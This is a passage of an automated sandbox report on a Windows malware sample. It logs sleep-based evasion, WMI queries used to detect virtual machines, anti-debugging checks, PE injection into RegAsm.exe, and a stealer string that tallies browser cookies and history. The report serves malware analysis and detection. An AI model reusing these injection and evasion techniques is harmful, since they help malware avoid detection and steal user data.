                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -592906s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -592687s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -592406s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -592109s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -591719s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -591203s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -591000s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -590781s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -590312s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -589984s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -589656s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -589297s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -589062s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -588809s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -588500s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -588141s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -587916s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -587641s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -587344s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -587031s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -586775s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -586525s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -586406s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -586280s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -586149s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -585999s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -585889s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -585740s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -585609s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -585500s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -585359s >= -30000sJump to behavior
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
                          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                          Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006B27B0 FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_006B27B0
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeCode function: 5_2_00007FFD9B88EC5A GetSystemInfo,5_2_00007FFD9B88EC5A
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeThread delayed: delay time: 922337203685477Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 30000Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 922337203685477Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 600000Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 599781Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 300000Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 598969Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 598312Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 597969Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 597406Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 596984Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 596609Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 596328Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 596172Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595984Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595812Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595609Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595453Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595141Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 594812Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 594578Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 594297Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 594125Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 593937Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 593562Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 592906Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 592687Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 592406Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 592109Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 591719Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 591203Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 591000Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 590781Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 590312Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 589984Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 589656Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 589297Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 589062Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 588809Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 588500Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 588141Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 587916Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 587641Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 587344Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 587031Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586775Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586525Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586406Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586280Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586149Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585999Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585889Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585740Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585609Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585500Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585359Jump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\userJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\Documents\desktop.iniJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\AppDataJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
                          Source: RegAsm.exeBinary or memory string: hz33oHxCqI1rcrNhGFsWKtXZhLOdYwJKjdsHaYAPZkdRVSyZ9KuMNWs7HMb9Q1VDiyqlnHkkf9/N9iQO1Du44334hlVbIR044nYNeaGN9x08k7fd17kLT5Bf2u1v0Pxg7l
                          Source: h7xZry2ICs.exe, 00000003.00000002.1735390071.00000230586D0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \Device\HarddiskVolume1\??\Volume{ad6cc5d8-f1a9-4873-be33-91b2f05e9306}\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
                          Source: RegAsm.exe, 00000002.00000002.1735132738.0000000001142000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 7pfb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_C
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4306631206.000000001B695000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll>
                          Source: w32tm.exe, 00000009.00000002.1810154514.00000141FE957000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess information queried: ProcessInformationJump to behavior
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006A1A53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_006A1A53
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006AEBC0 mov eax, dword ptr fs:[00000030h]0_2_006AEBC0
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006A8A8C mov ecx, dword ptr fs:[00000030h]0_2_006A8A8C
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006AEC04 mov eax, dword ptr fs:[00000030h]0_2_006AEC04
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_0041914C mov eax, dword ptr fs:[00000030h]2_2_0041914C
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_004114A6 mov ecx, dword ptr fs:[00000030h]2_2_004114A6
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006B38E7 GetProcessHeap,0_2_006B38E7
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess token adjusted: DebugJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeProcess token adjusted: DebugJump to behavior
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_006A1A53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_006A1A53
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0069DA85 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_0069DA85
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0069DBE1 SetUnhandledExceptionFilter,0_2_0069DBE1
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0069DC95 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_0069DC95
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00407B01 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_00407B01
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00407C63 SetUnhandledExceptionFilter,2_2_00407C63
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_00407D75 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,2_2_00407D75
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 2_2_0040DD78 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,2_2_0040DD78
                          Source: C:\Users\user\AppData\Roaming\h7xZry2ICs.exeCode function: 3_2_00007FF60D7F28E4 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,3_2_00007FF60D7F28E4
                          Source: C:\Users\user\AppData\Roaming\h7xZry2ICs.exeCode function: 3_2_00007FF60D7F2BE0 SetUnhandledExceptionFilter,3_2_00007FF60D7F2BE0
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeMemory allocated: page read and write | page guardJump to behavior

                          HIPS / PFW / Operating System Protection Evasion

                          barindex
                          Allocates memory in foreign processes
                          Source: C:\Users\user\Desktop\file.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and writeJump to behavior
                          Contains functionality to inject code into remote processes
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0305018D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,0_2_0305018D
                          Injects a PE file into a foreign processes
                          Source: C:\Users\user\Desktop\file.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5AJump to behavior
                          Writes to foreign memory regions
                          Source: C:\Users\user\Desktop\file.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000Jump to behavior
                          Source: C:\Users\user\Desktop\file.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000Jump to behavior
                          Source: C:\Users\user\Desktop\file.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 426000Jump to behavior
                          Source: C:\Users\user\Desktop\file.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 434000Jump to behavior
                          Source: C:\Users\user\Desktop\file.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 436000Jump to behavior
                          Source: C:\Users\user\Desktop\file.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63B000Jump to behavior
                          Source: C:\Users\user\Desktop\file.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: FA9008Jump to behavior
                          Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"Jump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Users\user\AppData\Roaming\h7xZry2ICs.exe "C:\Users\user\AppData\Roaming\h7xZry2ICs.exe" Jump to behavior
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess created: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe "C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe" Jump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\c50EBnOxbg.bat" Jump to behavior
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2Jump to behavior
                          Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe "C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe" Jump to behavior
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000059F6000.00000004.00000800.00020000.00000000.sdmp, buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Manager
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000059F6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Managerp
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.00000000059F6000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"206"},"5.0.4",5,1,"TEST_1","user","813848","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Users\\user\\AppData\\Local","K6WM6V7Y (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.33","US / United States","New York / New York","40.7123 / -74.0068"]
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0069D865 cpuid 0_2_0069D865
                          Source: C:\Users\user\Desktop\file.exeCode function: EnumSystemLocalesW,0_2_006AD0B6
                          Source: C:\Users\user\Desktop\file.exeCode function: GetACP,IsValidCodePage,GetLocaleInfoW,0_2_006B54FF
                          Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoW,0_2_006AD61C
                          Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoW,0_2_006B56FA
                          Source: C:\Users\user\Desktop\file.exeCode function: EnumSystemLocalesW,0_2_006B57EC
                          Source: C:\Users\user\Desktop\file.exeCode function: EnumSystemLocalesW,0_2_006B57A1
                          Source: C:\Users\user\Desktop\file.exeCode function: EnumSystemLocalesW,0_2_006B5887
                          Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,0_2_006B5912
                          Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoW,0_2_006B5B65
                          Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,0_2_006B5C8E
                          Source: C:\Users\user\Desktop\file.exeCode function: GetLocaleInfoW,0_2_006B5D94
                          Source: C:\Users\user\Desktop\file.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,0_2_006B5E63
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,2_2_0041E825
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,2_2_00414138
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,2_2_0041EA78
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,2_2_0041EBA1
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetACP,IsValidCodePage,GetLocaleInfoW,2_2_0041E412
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,2_2_0041ECA7
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,2_2_0041ED76
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,2_2_0041465E
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,2_2_0041E60D
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,2_2_0041E6FF
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,2_2_0041E6B4
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,2_2_0041E79A
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeQueries volume information: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                          Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformationJump to behavior
